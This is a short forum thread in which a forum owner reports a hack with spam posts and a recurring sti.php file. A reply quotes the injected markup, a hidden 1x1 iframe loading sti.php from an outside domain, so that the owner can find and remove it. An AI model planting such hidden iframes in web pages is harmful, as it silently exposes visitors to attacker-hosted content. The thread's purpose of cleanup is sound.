[Forum] forum was hacked how can i fix thanks

[pierrefitch]

my site was hacked with this sti.php file it keeps pop up on my site also i got over 16 thousand post that are spam from russia people how can i stop this spam and people hacking my forum thanks

[TheNewOne]

<script type="text/javascript" src="mobiquo/tapatalkdetect.js"></script><div style="display:none"><iframe src="http://hyundai-solaris.info/vb/sti.php" width="1" height="1"></iframe></div>
this is from your site hope this helps

check where ever you put the tapatalk line you will see the part that needs removed

[TheNewOne]

you would also be best to update and add more security also check ftp for any files that should not be there